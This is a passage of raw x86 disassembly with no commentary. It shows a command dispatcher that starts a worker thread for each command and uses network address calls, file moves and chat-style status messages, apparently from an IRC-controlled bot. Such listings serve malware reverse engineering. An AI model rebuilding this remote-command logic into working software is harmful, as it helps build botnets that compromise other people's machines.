loc_4080F9:				; CODE XREF: sub_40274D+4CEFj
					; sub_40274D+4D06j
		push	[ebp+4Ch+var_8]
		call	sub_4022BD
		push	edi		; Str
		mov	[ebp+4Ch+var_4E8], eax
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_4F8], eax
		call	j__atol
		push	[ebp+4Ch+var_14] ; Str
		mov	[ebp+4Ch+var_4F4], eax
		call	j__atol
		mov	esi, [ebp+4Ch+arg_4]
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_4F0], eax
		lea	eax, [ebp+4Ch+var_578]
		push	eax		; Dest
		mov	[ebp+4Ch+var_57C], esi
		call	_strncpy
		mov	eax, [ebp+4Ch+var_C]
		mov	edi, [ebp+4Ch+var_4]
		add	esp, 1Ch
		push	[ebp+4Ch+var_4F4]
		mov	[ebp+4Ch+var_4E0], edi
		push	[ebp+4Ch+var_4F8]
		mov	[ebp+4Ch+var_4DC], eax
		push	[ebp+4Ch+var_4F0]
		push	[ebp+4Ch+var_4E8]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D8C8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 24h
		mov	[ebp+4Ch+var_4EC], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_57C]
		push	eax
		push	offset sub_40C4C0
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4081EE
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D888
		jmp	loc_40491A
; ---------------------------------------------------------------------------


loc_4081E6:				; CODE XREF: sub_40274D+5AA7j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4081EE:				; CODE XREF: sub_40274D+5A86j
		cmp	[ebp+4Ch+var_4D8], ebx
		jz	short loc_4081E6
		jmp	loc_404929
; ---------------------------------------------------------------------------


loc_4081FB:				; CODE XREF: sub_40274D+4CB2j
					; sub_40274D+4CC9j
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		cmp	byte_444500[eax], bl
		pop	ecx
		jz	loc_404979
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	edi		; Str
		call	_strlen
		push	[ebp+4Ch+var_8]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+4Ch+var_10] ; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+4Ch+var_18]
		push	[ebp+4Ch+arg_0]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset dword_42D87C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		push	ebx		; int
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	edi		; Str
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_40123B
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4442E8[eax], 73h
		jnz	loc_404979
		push	esi
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444500
		push	eax
		push	edi
		push	offset aSSS_0	; "[%s]	* %s %s"
		jmp	loc_4083C8
; ---------------------------------------------------------------------------


loc_4082F0:				; CODE XREF: sub_40274D+4C84j
					; sub_40274D+4C9Bj
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		cmp	byte_444500[eax], bl
		pop	ecx
		jz	loc_404979
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	edi		; Str
		call	_strlen
		push	[ebp+4Ch+var_8]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+4Ch+var_10] ; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+4Ch+var_18]
		push	[ebp+4Ch+arg_0]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_40123B
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4442E8[eax], 73h
		jnz	loc_404979
		push	esi
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444500
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_4083C8:				; CODE XREF: sub_40274D+5B9Ej
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B


loc_4083EA:				; CODE XREF: sub_40274D+23E3j
		add	esp, 28h
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_4083F2:				; CODE XREF: sub_40274D+4C56j
					; sub_40274D+4C6Dj
		push	[ebp+4Ch+var_8]
		call	dword_44417C	; inet_addr
		push	edi		; Str
		mov	[ebp+4Ch+var_688], eax
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_698], eax
		call	j__atol
		mov	esi, [ebp+4Ch+arg_4]
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_690], eax
		lea	eax, [ebp+4Ch+var_718]
		push	eax		; Dest
		mov	[ebp+4Ch+var_71C], esi
		call	_strncpy
		mov	eax, [ebp+4Ch+var_C]
		mov	edi, [ebp+4Ch+var_4]
		add	esp, 14h
		push	[ebp+4Ch+var_690]
		mov	[ebp+4Ch+var_680], edi
		push	[ebp+4Ch+var_698]
		mov	[ebp+4Ch+var_67C], eax
		push	[ebp+4Ch+var_688]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D820 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_68C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_71C]
		push	eax
		push	offset sub_40C3D3
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_68C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4084D4
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D918
		jmp	loc_40491A
; ---------------------------------------------------------------------------


loc_4084CC:				; CODE XREF: sub_40274D+5D8Dj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4084D4:				; CODE XREF: sub_40274D+5D6Cj
		cmp	[ebp+4Ch+var_678], ebx
		jz	short loc_4084CC
		jmp	loc_404929
; ---------------------------------------------------------------------------


loc_4084E1:				; CODE XREF: sub_40274D+4C28j
					; sub_40274D+4C3Fj
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		push	7Fh		; Count
		mov	[ebp+4Ch+var_1134], eax
		lea	eax, [ebp+4Ch+var_1238]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]	; Str
		call	j__atol
		push	[ebp+4Ch+Format] ; Format
		mov	esi, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_1138], eax
		lea	eax, [ebp+4Ch+var_11B8]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_1240], esi
		call	__snprintf
		mov	eax, [ebp+4Ch+var_C]
		mov	edi, [ebp+4Ch+var_4]
		add	esp, 20h
		push	[ebp+4Ch+var_1138]
		mov	[ebp+4Ch+var_1124], eax
		lea	eax, [ebp+4Ch+var_1238]
		push	eax
		push	[ebp+4Ch+var_1134]
		mov	[ebp+4Ch+var_1128], edi
		push	esi
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D7E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	18h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 24h
		mov	[ebp+4Ch+var_1130], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1240]
		push	eax
		push	offset sub_41366C
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1130]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4085CA
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D7A0
		jmp	loc_40491A
; ---------------------------------------------------------------------------


loc_4085C2:				; CODE XREF: sub_40274D+5E83j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4085CA:				; CODE XREF: sub_40274D+5E62j
		cmp	[ebp+4Ch+var_1120], ebx
		jz	short loc_4085C2
		jmp	loc_404929
; ---------------------------------------------------------------------------


loc_4085D7:				; CODE XREF: sub_40274D+4BFAj
					; sub_40274D+4C11j
		push	0FFh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_2880]
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+4Ch+var_2780]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_267C], ebx
		call	j__atol
		mov	[ebp+4Ch+var_2678], eax
		mov	eax, [ebp+esi+4Ch+var_94]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_408630
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+4Ch+var_2670], eax
		jmp	short loc_408636
; ---------------------------------------------------------------------------


loc_408630:				; CODE XREF: sub_40274D+5ECDj
		mov	[ebp+4Ch+var_2670], ebx


loc_408636:				; CODE XREF: sub_40274D+5EE1j
		mov	esi, [ebp+esi+4Ch+var_90]
		cmp	esi, ebx
		jz	short loc_40864D
		push	esi		; Str
		call	j__atol
		pop	ecx
		mov	[ebp+4Ch+var_2674], eax
		jmp	short loc_408653
; ---------------------------------------------------------------------------


loc_40864D:				; CODE XREF: sub_40274D+5EEFj
		mov	[ebp+4Ch+var_2674], ebx


loc_408653:				; CODE XREF: sub_40274D+5EFEj
		movzx	eax, [ebp+4Ch+var_903]
		mov	esi, [ebp+4Ch+arg_4]
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_266C], eax
		lea	eax, [ebp+4Ch+var_2900]
		push	eax		; Dest
		mov	[ebp+4Ch+var_2904], esi
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_2664], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_2668], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D774 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Dh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 28h
		mov	[ebp+4Ch+var_2680], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_2904]
		push	eax
		push	offset sub_418F38
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_2680]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_408701
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D734
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4086F9:				; CODE XREF: sub_40274D+5FBAj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_408701:				; CODE XREF: sub_40274D+5F99j
		cmp	[ebp+4Ch+var_2660], ebx
		jz	short loc_4086F9
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_40870E:				; CODE XREF: sub_40274D+4BCCj
					; sub_40274D+4BE3j
		push	7Fh
		pop	esi
		push	esi		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_36AC]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_362C]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_35AC]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_352C]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_34A8], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_34A4], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D6F8 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_36B0], esi
		call	_sprintf
		add	esp, 44h
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 0Ch
		mov	[ebp+4Ch+var_34AC], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_36B0]
		push	eax
		push	offset sub_417BC8
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_34AC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4087E5
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D6C0
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4087DD:				; CODE XREF: sub_40274D+609Ej
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4087E5:				; CODE XREF: sub_40274D+607Dj
		cmp	[ebp+4Ch+var_34A0], ebx
		jz	short loc_4087DD
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_4087F2:				; CODE XREF: sub_40274D+4AA3j
					; sub_40274D+4ABAj
		push	7Fh
		pop	esi
		push	esi		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_3284]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_3204]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_3184]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_3104]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_3080], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_307C], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D690 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_3288], esi
		call	_sprintf
		add	esp, 44h
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 0Ch
		mov	[ebp+4Ch+var_3084], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_3288]
		push	eax
		push	offset sub_4167D6
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_3084]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4088C9
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D658
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4088C1:				; CODE XREF: sub_40274D+6182j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4088C9:				; CODE XREF: sub_40274D+6161j
		cmp	[ebp+4Ch+var_3078], ebx
		jz	short loc_4088C1
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_4088D6:				; CODE XREF: sub_40274D+497Ej
					; sub_40274D+4995j ...
		push	7Fh
		pop	esi
		push	esi		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_3F88]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_3F08]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_3E88]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_3E08]
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		push	[ebp+4Ch+var_10] ; Source
		lea	eax, [ebp+4Ch+var_3D88]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_3D08], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_3D04], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D628 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_3F90], esi
		call	_sprintf
		add	esp, 50h
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 0Ch
		mov	[ebp+4Ch+var_3F8C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_3F90]
		push	eax
		push	offset sub_415BD8
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_3F8C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4089E5
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42D5F0 ; "-"


loc_4089B1:				; CODE XREF: sub_40274D+4BA1j
					; sub_40274D+54C7j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_4089C0:				; CODE XREF: sub_40274D+4BB6j
					; sub_40274D+54DCj ...
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_408D10
		push	ebx
		push	[ebp+4Ch+var_4]


loc_4089CD:				; CODE XREF: sub_40274D+21E7j
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		push	[ebp+4Ch+Format]
		push	esi
		jmp	loc_4069A7
; ---------------------------------------------------------------------------


loc_4089DD:				; CODE XREF: sub_40274D+629Ej
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4089E5:				; CODE XREF: sub_40274D+6256j
		cmp	[ebp+4Ch+var_3D00], ebx
		jz	short loc_4089DD
		jmp	short loc_4089C0
; ---------------------------------------------------------------------------


loc_4089EF:				; CODE XREF: sub_40274D+4950j
					; sub_40274D+4967j
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_1780]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	j__atol
		push	3Fh		; Count
		push	[ebp+4Ch+arg_0]	; Source
		mov	[ebp+4Ch+var_1630], eax
		lea	eax, [ebp+4Ch+var_1700]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+4Ch+var_94]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_408A3A
		push	3Fh		; Count
		lea	eax, [ebp+4Ch+var_16C0]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_408A3A:				; CODE XREF: sub_40274D+62D9j
		lea	eax, [ebp+4Ch+var_1700]
		push	eax
		push	[ebp+4Ch+var_1630]
		lea	eax, [ebp+4Ch+var_1780]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D5C0 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_162C], 1
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_1628], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1784]
		push	eax
		push	offset sub_4025EF
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1628]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_408AC9
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D584
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_408AC1:				; CODE XREF: sub_40274D+6382j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_408AC9:				; CODE XREF: sub_40274D+6361j
		cmp	[ebp+4Ch+var_1624], ebx
		jz	short loc_408AC1
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_408AD6:				; CODE XREF: sub_40274D+4913j
					; sub_40274D:loc_407077j
		push	edi		; Str
		call	j__atol
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+4Ch+var_1D6C], eax
		jle	loc_408BC3
		push	[ebp+4Ch+var_8]	; Format
		mov	esi, 80h
		lea	eax, [ebp+4Ch+var_1EF4]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+4Ch+Format] ; Format
		xor	eax, eax
		cmp	[ebp+4Ch+var_8F6], bl
		push	esi		; Count
		setnz	al
		mov	[ebp+4Ch+var_1D68], eax
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_1EF8], eax
		lea	eax, [ebp+4Ch+var_1DF4]
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+var_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_1D64], eax
		mov	eax, [ebp+4Ch+var_C]
		push	offset asc_42D558 ; "-"
		mov	[ebp+4Ch+var_1D60], eax
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 38h
		mov	[ebp+4Ch+var_1D74], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1EF8]
		push	eax
		push	offset sub_415C89
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1D74]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_408BB6
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D520
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_408BAE:				; CODE XREF: sub_40274D+646Fj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_408BB6:				; CODE XREF: sub_40274D+644Ej
		cmp	[ebp+4Ch+var_1D5C], ebx
		jz	short loc_408BAE
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_408BC3:				; CODE XREF: sub_40274D+6398j
		push	offset unk_42D4E8
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_408BCD:				; CODE XREF: sub_40274D+48E5j
					; sub_40274D+48FCj
		push	edi
		push	[ebp+4Ch+var_8]
		call	ds:dword_42B034	; MoveFileA
		test	eax, eax
		jz	short loc_408BFD
		push	edi
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D4C4 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf


loc_408BF5:				; CODE XREF: sub_40274D+2407j
		add	esp, 14h
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_408BFD:				; CODE XREF: sub_40274D+648Cj
		push	offset dword_42D4B8
		call	sub_41ACD0
		push	eax		; Format
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_408C21:				; CODE XREF: sub_40274D+48B7j
					; sub_40274D+48CEj
		push	[ebp+4Ch+var_8]	; Format
		lea	eax, [ebp+4Ch+var_3C78]
		push	104h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_18], ebx
		jz	short loc_408C5B
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_408C5B
		push	eax		; Format
		lea	eax, [ebp+4Ch+var_3B74]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_408C5B:				; CODE XREF: sub_40274D+64EEj
					; sub_40274D+64FDj
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_3CF8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_3CFC], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_3A6C], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_3A68], eax
		lea	eax, [ebp+4Ch+var_3B74]
		push	eax
		lea	eax, [ebp+4Ch+var_3C78]
		push	eax
		push	offset asc_42D488 ; "-"
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	24h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 2Ch
		mov	[ebp+4Ch+var_3A70], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_3CFC]
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_3A70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_408D20
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42D44C ; "-"


loc_408D01:				; CODE XREF: sub_40274D+731j
					; sub_40274D+963j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_408D10:				; CODE XREF: sub_40274D+84Aj
					; sub_40274D+86Ej ...
		xor	esi, esi
		inc	esi
		jmp	loc_406C6E
; ---------------------------------------------------------------------------


loc_408D18:				; CODE XREF: sub_40274D+65D9j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_408D20:				; CODE XREF: sub_40274D+65A6j
		cmp	[ebp+4Ch+var_3A64], ebx
		jz	short loc_408D18
		jmp	short loc_408D10
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_40274D+4889j
					; sub_40274D+48A0j
		push	44h
		pop	esi
		push	esi		; Size
		lea	eax, [ebp+4Ch+var_670]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+4Ch+var_8]	; Str
		mov	[ebp+4Ch+var_670], esi
		xor	esi, esi
		inc	esi
		mov	[ebp+4Ch+var_644], esi
		mov	[ebp+4Ch+var_640], bx
		call	j__atol
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408D69
		mov	[ebp+4Ch+var_640], 5


loc_408D69:				; CODE XREF: sub_40274D+6611j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_406C4D
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
